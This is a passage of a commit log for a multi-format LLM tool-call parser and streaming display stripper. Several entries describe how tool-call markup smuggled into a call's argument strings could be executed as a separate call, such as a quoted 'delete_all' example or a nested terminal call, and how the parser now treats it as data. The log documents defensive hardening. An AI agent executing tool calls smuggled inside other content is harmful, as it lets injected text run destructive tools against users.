- New _gemma_body_brace_end boundary scanner honors single- and double-quoted
strings like _gemma_parse_stripped_body, shared by parse and strip, so a
quoted brace in a code argument (code:print('}')) no longer truncates the
executed arguments or the strip span.
- _glm_value_close now requires a structural </arg_value> to sit at balanced
quote state: the full pair </arg_value></tool_call> embedded inside a string
literal is data, not an early close. When no candidate balances, the first
token-valid close wins as before.
* Address review: leading envelopes win over rehearsed literals
- New _first_foreign_tool_signal shared by the leading-envelope guards adds
<|python_tag|> to the protected signal set: the spelled-out literal inside a
Mistral call's arguments (a query about Llama built-in tool syntax) executed
the inner literal instead of the outer call.
- New _xml_signal_inside_leading_bare_json guard, sibling of the Mistral one:
a leading bare-JSON call whose string argument quotes tool XML (a code value
citing <function=...>) had the literal promoted by the shared XML pass
before the bare-JSON parser ran.
- Magistral [THINK]...[/THINK] is dropped once at parse entry instead of only
inside the Mistral parser, so a call rehearsed in the think block in a
foreign format can no longer be promoted while the real call after the
block is lost. Parse now agrees with the display strip.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: a disabled leading bare-JSON object keeps its literals as data
When the leading bare-JSON object is ordinary content (name not an enabled
tool), the guard proved the first tool signal sits inside it, so falling
through to the XML/python_tag passes promoted quoted string data as a real
call. Drop the object and parse only the tail: a real call after the object
still parses, nothing inside it can be promoted.
* Address review: apostrophes in raw Gemma values, GLM strict key contract, per-model template token
- Quote openers in the wrapper-less Gemma boundary and body scanners now
require value-start context (after : { [ ( , =): an apostrophe inside an
unquoted value (query:what's the weather) opened quote mode, swallowed the
real closing brace, and lost the whole call on common contraction queries.
Quoted values keep hiding delimiters as before.
- A GLM <arg_key> with no <arg_value> tag now rejects the call in strict
mode, matching the unclosed-value contract, instead of executing the tool
with the argument silently dropped; Auto-Heal keeps the lenient skip.
- The native-template fallback reads the hf_token stored on the model record
instead of the instance-wide last-load token, so a later token-less load
cannot break template fetches for a previously loaded gated model (both
the transformers and MLX backends).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: Mistral literals inside leading JSON, whitespace-tolerant wrapped Gemma opener
- The leading bare-JSON guard now treats the [TOOL_CALLS] trigger as a
foreign signal: the Mistral parser runs before the bare-JSON one, so a
literal quoted inside the leading object's strings was promoted over the
outer call (or over ordinary JSON content).
- tool_healing's wrapped Gemma opener tolerates whitespace around call and
the colon: sampling drift emits call: name{ and call : name{, and
rejecting those lost the call entirely because no fallback re-parses the
wrapped form. Strict mode still requires the closing tag.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: DeepSeek/Kimi markers inside leading JSON and Mistral envelopes stay data
The DeepSeek/Kimi pre-pass runs before the outer-call parsers, and
_marker_inside_leading_envelope only protected XML envelopes: a marker
quoted inside a leading bare-JSON or Mistral call's argument strings was
promoted as a separate no-arg call and the real outer call dropped. The
guard now recognizes those two leading envelopes as well; standalone
DeepSeek/Kimi calls keep parsing.
* Address review: accept dotted Gemma argument keys in the key-quoting scanner
The scanner quoted keys of [alnum_-] only, so a dotted key (user.name:...)
was left unquoted, json.loads failed, and the whole wrapped call was lost
(parse empty, strip wipes the markup). Dots now match the parser's own
key/name charset.
* Address review: a real DeepSeek/Kimi call after a disabled leading JSON object still parses
DeepSeek/Kimi markers are foreign signals for the leading bare-JSON guard
too: a marker literal inside a disabled leading object made the envelope
guard skip the pre-pass for the whole message, so a real DeepSeek/Kimi call
after the object was dropped. Routing the case through the guard's
drop-and-parse-the-tail recursion reaches the real call while the literal
inside the object stays data.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: leading Mistral call owns the turn, dotted keys after bare values
- A LEADING parseable [TOOL_CALLS] call now runs the Mistral parser first
unconditionally: literal XML in trailing prose after the call was promoted
by the earlier shared XML pass, executing the quoted example instead of
the real leading call. XML leading keeps the normal order.
- _GEMMA_NEXT_KEY_RE accepts dots so a dotted key after a bare value
(query:foo,user.name:bob) ends the value at the comma instead of being
swallowed into it, matching the round-earlier key-quoting charset.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: a leading wrapper-less Gemma call owns the turn
A quoted foreign literal inside a leading wrapper-less Gemma call's
argument (a query citing another tool syntax) was promoted by tool_healing
before the Gemma fallback ran, executing the quoted example and dropping
the outer call. New leading guard, sibling of the Mistral and bare-JSON
ones, gated on an enabled name since the form is markerless. Foreign markup
leading keeps the normal order.
* Fix merge resolution: restore both leading-guard test classes intact
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: markup quoted inside a nameless leading JSON answer stays data
The leading bare-JSON guard required a top-level name, so a structured JSON
answer quoting tool markup in its strings (a response_format turn
documenting a tool's syntax) had the literal promoted by the later passes.
A nameless leading object that parses as real JSON now routes through the
same decline-then-parse-the-tail path; non-JSON braced prose keeps the old
behaviour, and a real call after the answer still parses.
* Address review: JSON answers stay data, nested Gemma quotes, earliest envelope, no failure caching
- A whole-content JSON value is a structured answer: the markerless Gemma
scan and its strip no longer promote or strip a quoted example of an
enabled tool's syntax inside it.
- Nested stripped-stream Gemma values now unquote quoted string leaves
recursively, so {loc:{city:"New York"}} hands the tool New York, matching
the top-level coercion.
- The DeepSeek/Kimi pre-pass dispatches by earliest envelope opener, so a
leading real call wins over a trailing example of the sibling format in
either direction.
- A failed native-template fetch is no longer cached as no-template: the
next call retries after the model record's token is fixed or a transient
Hub error clears; only definitive loads are cached.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: closed calls precede the marker pre-pass, truncated Gemma scan stops, quoted nested delimiters
- A closed non-DeepSeek/Kimi call preceding the first DS/Kimi marker owns
the turn: a trailing syntax example, or one quoted inside a wrapped Gemma
argument, was promoted by the pre-pass and dropped the real leading call.
Wrapped Gemma joins the outer-envelope pattern sets.
- An unbalanced wrapper-less Gemma call now stops the scan (mirroring the
strip contract) instead of resuming inside its own argument text, where a
quoted enabled call would be promoted.
- Raw-quoted strings in nested stripped-stream Gemma values hide delimiters,
so {city:"New, York"} is one value instead of a split pair, returned
unquoted like the top-level coercion.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: string-marker literals in wrapper-less args, mid-value quoted phrases
- The wrapper-less deferral guard no longer keys on the <|"|> literal: a
real call whose argument merely mentions the string marker was deferred to
tool_healing, which has no wrapped opener to parse, losing the call. The
wrapped-opener check alone owns the deferral.
- Double quotes now also open at the start of a word, so a quoted phrase
mid-value (query:find "weather, location: Boston", limit:3) hides its
delimiters instead of splitting the value into garbage keys; apostrophes
keep the value-start-only rule so contractions stay prose.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: strict GLM refuses in-quote close fallback, Gemma guard covers preambles
- _glm_value_close gains a strict flag: a truncated value whose only close
candidates sit inside a string literal rejects the call in strict mode
(Auto-Heal keeps the lenient partial), restoring the strict contract the
quote-aware fallback had weakened.
- The leading wrapper-less Gemma guard no longer requires the call to open
the response: a visible preamble before call:NAME{...} is the normal
shape, and the quoted foreign literal inside the argument was promoted
again in that shape. An enabled balanced call beginning before the first
foreign signal owns it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address review: contextual GLM quote openers, disabled Gemma examples stay prose, JSON array answers
- The GLM value-close quote tracker uses the same contextual openers as the
Gemma scanners (single quote after punctuation context, double quote also
at word start), so strict mode accepts a normal apostrophe value again
while still rejecting a truncated value whose only close candidates sit
inside a string literal.
- A disabled wrapper-less Gemma call is prose by design, so a tool literal
quoted inside it no longer promotes: the span is dropped for parsing and
the tail parsed, mirroring the nameless-JSON guard.
- Leading JSON ARRAY answers join the leading-JSON envelope guard, so a
marker quoted inside a structured array response stays data.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Align closed-envelope regression test with the document-order contract
The test asserted the pre-round-13 behavior (trailing DeepSeek/Kimi block
wins over a leading closed envelope) while the shipped rule is document
order: the leading closed call owns the turn. Rename the test and assert
the leading call so the suite matches the contract exercised by
test_leading_xml_call_wins_over_trailing_kimi_example.
* Parse a leading Llama-3.2 bare-JSON call before the markerless Gemma scan
The bare-JSON form only ever matches a leading call object, and document
order says that call owns the turn. Running the Gemma wrapper-less scan
first let an enabled call:NAME{...} snippet quoted inside the leading
call's string arguments steal the turn when the JSON was not the whole
content (trailing prose or a second ;-separated call), executing the
quoted tool instead of the real one. Reordering cannot take a leading
Gemma call's turn since that content never starts with an object brace.
* Leading-call ownership: Mistral trigger in Gemma guards, closed bare JSON before markers, depth-aware nested Gemma values
Three parser gaps against the document-order contract:
The wrapperless Gemma leading guards did not count [TOOL_CALLS] as a
foreign signal, so a leading Gemma call quoting a Mistral snippet in its
argument lost the turn to the quoted literal. Both the enabled-call and
disabled-example guards now include the trigger, matching the bare-JSON
guard's local inclusion.
_marker_inside_leading_envelope required the DeepSeek/Kimi marker to sit
inside the first closed bare-JSON or Mistral call. A marker after that
closed call (a trailing example or data in a later ;-chained call's
strings) now also defers to the leading call, the same inside-or-after
rule the closed XML envelope patterns already applied.
The nested Gemma primitive value scan split on every comma, corrupting
arguments like opts:{code:print(1,2),lang:py}. It now applies the same
paren/brace depth, contextual quote openers, and comma-only-before-a-key
mapping rule as the top-level scan.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gemma leading guard: a closed enabled call preceding the signal owns the turn
The wrapperless Gemma guard only claimed the turn when the first foreign
signal sat inside the first enabled balanced call. When that call closed
before the signal (a second call quoting a Mistral or Kimi literal, or a
trailing prose example), the guard forfeited the turn and the foreign
parser promoted the quoted literal, dropping the real Gemma calls. Apply
the same inside-or-after ownership rule as the closed bare-JSON and
Mistral envelopes, gated on an enabled name so the name-agnostic legacy
path is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Marker guard: only an executable leading bare-JSON call owns the turn
The bare-JSON branch of the leading-envelope marker guard claimed the
turn for any NAMED leading object. A disabled-name object is prose by
design (the bare-JSON parser will not execute it), so deferring the
DeepSeek/Kimi pre-pass to it lost the real later call entirely. Gate the
ownership claim on the enabled set (or the name-agnostic None path). A
marker inside the disabled object's own strings stays data, matching the
tail-exclusion contract; a marker after it now falls through so the
pre-pass parses the real call. The Mistral branch stays ungated since
[TOOL_CALLS] parsing is never name-gated.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gemma scan skips leading JSON answers; GLM heal bounds values at structural tags
Two fixes to the document-order data contracts:
The markerless Gemma scan only exempted whole-content JSON, so a leading
JSON answer followed by prose had an enabled call:NAME{...} snippet
inside its strings promoted to a real executed call and stripped from
the displayed answer. Both the parse and strip scans now start after a
balanced json-valid leading value span, keeping parse and strip
mirrored. Real calls after the answer still parse; mid-prose JSON gets
no exemption.
The GLM heal fallback for a missing closing arg_value tag took the
entire remainder as the value, executing markup-contaminated arguments
like city="NYC</tool_call>" and swallowing trailing prose. The healed
value now stops at the next arg_key or tool_call close and the pair walk
resumes there. EOF-truncated values keep the partial heal, strict mode
still rejects, and closed values holding a literal close tag in quotes
are untouched.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Compress docstrings in the multi-format tool parser to their contract essence
* Condense parser guard comments and test narration to contract essentials
* verify_import_hoist: exempt __future__ imports and same-diff relocations
Two false positives fired on this PR's refactor. A from __future__ import
is a compiler directive whose name never appears as a runtime load, so
HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for
PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate
move of the strip-pattern constants into core.inference.tool_call_parser
as a silent re-point even though the old module-level target was removed
and the new one added in the same diff. Both get narrow exemptions; a
re-point to a pre-existing target is still caught, and the self-test
negative controls all pass unchanged.
* Leading bare-JSON calls own the turn; function calls end at the first balanced close
The XML-signal guard for a leading bare-JSON call required the signal
strictly inside the object, so a trailing XML example stole the turn
from the leading call; it now applies the same inside-or-after rule as
the Mistral guard. Function-XML calls also ended at the LAST close tag,
which let prose after a closed call that mentions a literal close tag
get swallowed into the final parameter value; calls now end at the
first close tag that is not inside an open parameter, and the strip
mirrors the same rule so parse and strip agree.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Attribute-form calls end at the first balanced close; bare-JSON strip requires the call shape
The attribute form parser still kept the last close tag in the call
window, folding prose after a closed call into the final parameter
value. It now takes the first close not inside an open parameter, the
same rule the equals form and the strip already use.
The leading bare-JSON strip deleted any closed object whose top-level
name matched an enabled tool, including plain JSON answers the parser
correctly rejects as non-calls. The strip (and the drain gate that
delegates to it) now requires the parser's exact call shape, so answers
like {"name":"web_search","result":...} stream and display intact.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* False-alarm markers keep the answer; the bare-JSON strip consumes the whole chain
The trailing strip arms dropped everything from a bare marker to EOF,
so a normal answer that mentions [TOOL_CALLS] or another marker
literally was truncated (or fully swallowed when it started with the
literal) after the no-call drain fallback. Those arms now require a
call-shaped lookahead or marker-at-EOF before dropping; truncated real
calls still strip.
Chained bare-JSON turns executed both calls but stripped only the first
object, so the second call's raw JSON replayed into the next assistant
history message alongside the structured tool_calls. The strip now
consumes the entire chained run of call-shaped enabled objects while
non-call answers, disabled names, and trailing prose stay intact.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* DeepSeek and Kimi trailing strip arms require a call-shaped lookahead
Same false-alarm rule as the bare-word markers: a prose answer that
mentions a DeepSeek or Kimi marker literally keeps its tail, while
truncated real envelopes and bare end-of-text fragments still drop.
* Attribute-form containment, parameter-close-decides rule, preamble-tolerant Mistral guard, strict strip shape
Four document-order and containment fixes. A leading attribute-form
call now parses before the shared XML pass, so markup quoted in its
parameter stays data. The open-parameter scan lets the parameter's own
close tag decide, so any number of literal function closes inside one
value stay data, restoring the pre-close-scan behavior for multi-close
arguments. The leading-Mistral guard tolerates a visible preamble, with
the leading-bare-JSON guard running first so a trigger quoted inside a
leading JSON object stays data. The bare-JSON strip requires the
parser's top-level name in every mode, so nested-name JSON answers
survive name-agnostic stripping.
* Keep buffering long wrapper-less Gemma tool names instead of leaking the prefix
The streaming buffer stopped holding a call:NAME prefix at a fixed
32-char cap, so a Gemma wrapper-less call to a tool whose name exceeds
that (OpenAI allows 64 chars, MCP names run longer) streamed its raw
call:longname text as visible content before the end-of-turn parser
executed it. Hold the variable-length prefix while it still matches the
call: shape, bounded like the bare-JSON path and self-terminating into
prose, draining once the opening brace arrives.
* Keep prose that only mentions DeepSeek/Kimi markers in the route display strip
The route-level _TOOL_XML_RE DeepSeek/Kimi arms consumed from an opener up to
the end of text whenever the marker appeared, so an answer that merely refers
to a marker (for example "See <|tool_call_begin|> in the docs") had the rest
of the reply truncated. The parser-level _TOOL_ALL_PATS already gates these
arms with a call-shaped lookahead. Mirror it here so a marker is only stripped
when a real call follows it or it is a bare fragment at end of text.
* Tighten tool-calling parser and backend comments
* Pass trust_remote_code when reloading native tokenizers
The native-template fallback re-fetches a model's native chat template from
its repo when an Unsloth override template drops the tools schema. The
secondary AutoTokenizer.from_pretrained threaded hf_token but not
trust_remote_code, so for a model loaded with trust_remote_code=True whose
tokenizer repo carries custom code the reload raised, was swallowed, and the
request silently kept the tool-dropping prompt for a model that supports tools.
Store the loaded trust_remote_code on each backend's per-model info dict and
source it in render_native_template, so the reload re-uses exactly the consent
granted at load. For a LoRA adapter the reload targets the base model, whose
remote code was gated and loaded under the same stored flag, so re-passing it
executes no unconsented code. Falsy stored flag preserves the prior behaviour.
Adds a regression test that fails without the flag (custom-code reload raises,
returns None) and passes with it (tools-advertising native prompt returned).
* Treat <|python_tag|> as an outer marker envelope
A Llama-3 <|python_tag|> tool call (built-in NAME.call(...) or custom
{json} form) whose argument quotes a complete DeepSeek/Kimi example was
hijacked by the DeepSeek/Kimi marker pre-pass: the embedded example (for
example delete_all) executed instead of the real outer call. python_tag
is Llama-3's tool-call envelope, so a marker quoted inside its arguments
is data, the same as for <tool_call>, <function=...>, bare JSON, Mistral
and wrapper-less Gemma, which the guard already covers.
Add <|python_tag|> to _OUTER_ENVELOPE_OPEN_RE with a call-shaped
lookahead (mirroring the _TOOL_ALL_PATS python_tag arm) so the marker
pre-pass is suppressed when a python_tag call opens before the first
marker, while a bare prose <|python_tag|> mention is left untouched.
* Tighten tool-call parser comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: Daniel Han <info@unsloth.ai>
Co-authored-by: danielhanchen <danielhanchen@users.noreply.github.com>
* Quote-aware Gemma strip, symmetric unstarted cleanup, ReDoS anchor
Address review findings on the tool-strip and streaming paths:
- strip_tool_call_markup stripped Gemma-native spans with a plain regex that
stops at the first <tool_call|>, so a literal close marker inside a
<|"|>-quoted argument truncated the span and leaked its suffix into visible
text. A brace/quote-aware _strip_gemma_native_spans now removes complete
spans (keeping an incomplete one unless final), matching the parser's own
balance logic.
- The Gemma close pattern this PR added (<\|tool_call>.*?<tool_call\|>) had no
\Z fallback, so a run of unclosed markers backtracked from every open
position (quadratic, and the streaming stripper re-scans per token). It is
now anchored to (?:<tool_call|>|\Z) like routes/inference.py's _TOOL_XML_RE,
linear with identical output on well-formed input.
- _SameTaskStreamingResponse added unstarted_cleanup for the OpenAI passthrough,
but the local GGUF/safetensors streams that enter _TrackedCancel before
returning only unregister in the generator finally, which never runs if the
client disconnects before the body iterator starts, leaking cancel-registry
entries. Each such stream now passes unstarted_cleanup to exit its tracker.
- __call__ reads _unstarted_cleanup via getattr so a response built through
__new__ (the cancel-timing test) without __init__ does not raise
AttributeError; the test also sets the attribute explicitly.
- Document that the verbatim /v1/chat/completions passthrough delegates
<think>/<|tool_call> splitting to llama-server (--jinja, --reasoning-format
auto) and is intentionally not re-parsed locally, noting the llama.cpp
dependency.
Adds a regression test for the close-marker-inside-quoted-argument strip.
* Tighten comments on the tool-strip and streaming paths
Compress the verbose comment blocks added with the Gemma tool-call / streaming
work to crisp one or two liners, drop restatements of obvious code, and shorten
docstrings, keeping the load-bearing rationale (ReDoS anchor, quote-aware strip,
unstarted-cleanup, llama.cpp passthrough dependency). Code is unchanged
(verified comment-only via AST/ast signature, docstrings stripped).
* Harden Gemma parse/strip: span-aware XML fallback and quote-aware streaming
- Security: the XML fallback in parse_tool_calls_from_text scanned the whole
content for <function=...> markers and only skipped those inside an open XML
parameter, not those inside a collected JSON/Gemma candidate span. A balanced
but unparsable Gemma call whose argument data contained XML tool markup
(<|tool_call>call:outer{code:<function=terminal>...}<tool_call|>) therefore
fell through to the fallback and returned an executable terminal call. The
fallback now also excludes <function=> markers inside any candidate span,
including ones that failed to parse.
- strip_tool_call_markup no longer skips the generic Gemma regex after running
the quote-aware _strip_gemma_native_spans, so a closed Gemma span the helper
cannot match (malformed, e.g. <|tool_call>{"name":"x"}<tool_call|>) is still
stripped instead of leaking its opener and payload into visible text.
- _strip_gemma_native_spans stops at the first unbalanced start instead of
re-scanning every later start to EOF, keeping it linear on a run of unclosed
markers rather than quadratic.
- The GGUF and safetensors streaming strippers run _strip_gemma_native_spans
before the regex patterns, so a well-formed streamed call whose quoted
argument contains a literal close marker no longer leaks its suffix into
incremental display.
Adds regression tests for the nested-XML escape and the malformed-span strip.
* Avoid remainder copy in _strip_gemma_native_spans
Match the Gemma close marker with re pos directly on the buffer instead
of slicing tail = text[brace_end + 1:] on every span. The streaming
strippers re-scan a growing cumulative buffer per token, so the per-span
remainder copy was quadratic. Behavior is unchanged.
* Exclude unclosed Gemma/JSON starts from the XML tool-call fallback
The nested-XML guard only skipped <function=> markers inside recorded
candidate spans, but a span is recorded only when the braces balance. An
unbalanced call such as <|tool_call>call:outer{code:<function=terminal>...
recorded no span, so the fallback still promoted the inner <function=> to
an executable terminal call. Treat unclosed JSON/Gemma starts as exclusion
spans through EOF before scanning. Standalone <function=> calls with no
preceding unclosed start still parse. Regression tests added.
* Skip doomed tool-strip passes to avoid quadratic rescans
The lazy closed-pair strip patterns (<tool_call>.*?</tool_call>,
<function=...>.*?</function>) rescan to EOF from every opener when their
close token is absent, which is O(n^2) and re-runs per streamed token. Add
strip_tool_patterns, which skips a pass whose close token is not present in
the text; output is identical to the per-pattern loop (verified by fuzz),
and a degenerate run drops from ~minutes to milliseconds. Used by
strip_tool_call_markup and the GGUF/safetensors streaming strippers.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Use full tool-call envelopes to close nested-XML escape variants
Key the parser and stripper off the full <|tool_call>...<tool_call|> /
<tool_call>...</tool_call> envelope (start to close marker, searched after
the braces; EOF if unclosed) instead of just the braces:
- XML between the closing brace and the close marker
(call:outer{broken:{x}}<function=terminal>...<tool_call|>) is now inside
the envelope, so the fallback no longer promotes it to a tool call.
- A balanced inner call inside an unclosed outer
(call:outer{code:<|tool_call>call:terminal{...}<tool_call|>) is skipped
via the envelope nested check, not just the XML fallback.
- strip_tool_call_markup searches for the close marker after the braces, so
junk before <tool_call|> is stripped through the close and text after it is
preserved instead of truncated to EOF; a no-close run stops early (linear).
Regression tests added; standalone XML and well-formed calls unaffected.
* Fix non-final Gemma strip and missing-close recovery for PR #6611
Split the nested-skip from the XML fallback exclusion: nesting is decided by
each marker's brace region, so a balanced call after one with a missing close
marker is recovered instead of being swallowed to EOF. Only the XML fallback
keeps the search-to-close envelope, so trailing nested markup still cannot
escape as an executable call.
Use a closed-only Gemma pattern in the non-final strip list so an incomplete
block is preserved (matching the JSON and function paths); the final list keeps
the close-or-EOF Gemma pattern in its original position, so streaming display
output is byte-for-byte unchanged.
Add regression tests for both cases.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Block gap-nested tool markers and fix XML strip order for PR #6611
Decide candidate nesting by a per-marker coverage region paired with a
per-format stack (a close after the braces pops the nearest still-open marker
of that format). A closed outer call now covers up to its own close marker, so a
JSON or Gemma tool marker smuggled between the outer braces and that close is
treated as data instead of being executed. An outer that balances but has no
close of its own covers only its brace region, so a later sibling after an
omitted close marker is still recovered (adjacent calls use an exclusive end
bound so the next call is not misread as nested).
Strip every closed pair (JSON, Gemma, function) before any to-EOF sweep, so a
closed function call whose parameter text contains a bare Gemma opener is
removed as a unit and the to-EOF sweep can no longer drop the visible text after
the close.
Add regression tests for both.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Strip closed tool blocks before the Gemma final sweep for PR #6611
The final display strip ran the quote-aware Gemma helper before the closed
JSON/function patterns. A closed <tool_call>...</tool_call> or
<function=...>...</function> block whose argument data held a call-form Gemma
opener (e.g. a "<|tool_call>call:t{" string) was read as an incomplete Gemma
span and truncated to EOF, dropping the block's close and any visible text after
it.
Strip closed JSON/function blocks first, so such a block is removed as a unit
before the helper runs. Centralize the final strip order in a shared
strip_tool_markup_final so strip_tool_call_markup and both streaming display
wrappers (safetensors, llama_cpp) stay in sync, and apply the same closed-block
pre-pass to the non-final path.
Add regression tests for the JSON and function variants.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Recover XML/JSON siblings after a close-less tool marker for PR #6611
Two fixes so the XML fallback and marker coverage recover a later valid call
after an earlier marker omits its close, matching the candidate loop:
Reuse the candidate marker-coverage in the XML fallback instead of a separate
search-to-close-or-EOF envelope. A balanced but close-less marker now covers
only its brace region there too, so a following <function=...> sibling is
recovered rather than filtered as nested data; an unbalanced marker still covers
to EOF and a closed one still covers through its close, so nested XML stays
blocked.
Ignore a close token that falls inside another call's balanced braces when
pairing closes in _marker_coverage. Such a token is that call's quoted argument
data, so it no longer pops an earlier close-less marker and extends its coverage
over a later valid sibling.
Add regression tests for both.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the closed-block strip pre-pass Gemma-span-aware
The final display strip ran the closed JSON/function regex pre-pass before
removing Gemma-native spans, so a literal <function=...> quoted inside a Gemma
argument plus any later </function> (a real call's close or even prose) was
deleted across the Gemma boundary. That mangled the Gemma close marker, the
quote-aware helper then saw an unclosed opener, and the whole visible tail
after the call was truncated.
The pre-pass now skips matches that start inside a complete Gemma span (that
text is the span's argument data) and resumes scanning at the end of the
covering span, so a real function-XML call after the Gemma call is still
stripped. The original ordering rationale is preserved: a Gemma opener inside
a JSON or function argument still cannot truncate that block, covered by
regression tests for both directions.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim comments in the Gemma streaming and strip pipeline to essentials
* Tighten comments in the Gemma strip and streaming disconnect paths
* Fold marker-collection comment to two lines
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: coerce tool_call arguments to dict before chat templating
Strict tool chat templates (e.g. mlx-community Qwen3.5 checkpoints) iterate
arguments.items() and raise "TypeError: Can only get item pairs from a mapping"
when a prior assistant tool call is re-rendered on the next turn. The agentic
loop stores arguments in the OpenAI JSON-string form (as_assistant_tool_call),
which is correct on the wire and for llama-server, but the transformers / MLX
paths apply_chat_template directly and hit the strict Jinja templates.
Normalize each assistant tool_call's function.arguments from a JSON string to a
dict inside apply_chat_template_for_generation (shared by both the MLX and
safetensors paths). A dict renders on strict and lenient templates alike;
non-JSON / non-dict values are left untouched, and the OpenAI-format
as_assistant_tool_call (used by the GGUF path + API responses) is unchanged.
Verified against the real mlx-community/Qwen3.5-2B-8bit template: string args
raised the tester's error, the fix renders cleanly, and the lenient
unsloth/Qwen3.5-0.8B template still works.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make tool-arg coercion a string-first fallback (non-regressive)
Render the original OpenAI string-arg form first and only coerce arguments to a
dict when the template raises the mapping TypeError, instead of always coercing.
Any template that already renders is now byte-identical (a template that emits
arguments verbatim keeps the JSON string, not a Python dict repr).
Verified across Llama-3, Qwen2.5, Qwen3, Qwen3.5, Phi-3.5 (byte-identical) and
mlx-community/Qwen3.5-2B-8bit (strict -> fixed). Gemma-3 / Mistral tool-template
errors are unrelated (role alternation / tool-id length) and identical with or
without the change.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make core.inference package init lazy so dependency-light helpers import standalone
Importing any core.inference submodule ran the package __init__, which
eagerly imported orchestrator and llama_cpp; both pull loggers ->
structlog (and httpx), so a dependency-light helper like
chat_template_helpers dragged in the full heavy stack and its unit test
failed to collect in a backend env without structlog. Defer those
imports to attribute access via PEP 562 __getattr__, mirroring the lazy
pattern already in core/__init__.py. The re-exports resolve unchanged on
first access.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Retry dict-coercion for strict templates that raise non-TypeError
apply_chat_template_for_generation only retried the OpenAI JSON-string arguments
coercion when the first render raised TypeError (the arguments.items() form). The
bundled gemma-4.jinja instead rejects string arguments with raise_exception, which
surfaces as a Jinja error, so a second tool turn with string function.arguments
propagated and failed rather than retrying with the parsed dict.
Broaden the outer catch to Exception, still gated on there being a string arg to
normalize (normalized is messages -> re-raise), so unrelated template errors and
templates that already render are unaffected.
* Tighten comments in tool-call argument coercion helper and tests
* Tighten tool-call argument coercion comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* studio: deterministic backend tool-calling wiring test
Add a deterministic, download-free test that exercises the shared tool-calling
seam both inference backends use. InferenceBackend (transformers) and
MLXInferenceBackend both render the prompt through
apply_chat_template_for_generation(..., tools=...) and stream cumulative text
into run_safetensors_tool_loop. The existing test_safetensors_tool_loop.py
covers the parser and the loop state machine with fake generators but does not
cover the backend's own tool-injection seam, so a regression that drops the
tool schema before the tokenizer, or fails to feed a tool result back into
generation, would slip through.
The test drives that seam with fakes: a tokenizer that records the tools it is
handed, a canned tool-call generation, and a stub executor. It asserts the full
chain: tools reach the chat template, the loop parses the call, the tool is
dispatched once with the parsed arguments, the result is fed back, generation
re-enters, and the final answer streams after the tool result. It also guards
that the raw tool-call markup never leaks to the client as content.
The test imports no torch, unsloth, or mlx, so it runs in the portable Backend
CI alongside the tool-call parser tests and stays sub-second. Follow-up to the
parser test PRs #5620 and #5704.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: assert the tool result is fed back before the final turn
Strengthen the wiring test so single_turn records each turn's conversation and
the test asserts the tool result message is present in the conversation handed
to the final generation turn. Event ordering alone did not catch a loop that
stops appending the tool output before re-entering generation, because the fake
generation ignores the conversation; this closes that gap.
* studio: tighten comments in tool-calling wiring test
* studio: shorten comments in tool-calling wiring test
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: stop chat generation on the assistant-turn-end token
A small chat model (e.g. Qwen3.5-0.8B) looped on the safetensors path: it emitted
a valid response or tool call, then ran past its turn and re-emitted the call,
hallucinating <|im_start|>user turns. Root cause: the model's tokenizer.eos_token
is synced to the config document terminator (<|endoftext|>, 248044) while chat
turns actually end with <|im_end|> (248046), so generate_stream's single
eos_token_id never stopped at the turn boundary.
Stop on every assistant-turn-end marker the vocab defines (tokenizer.eos plus
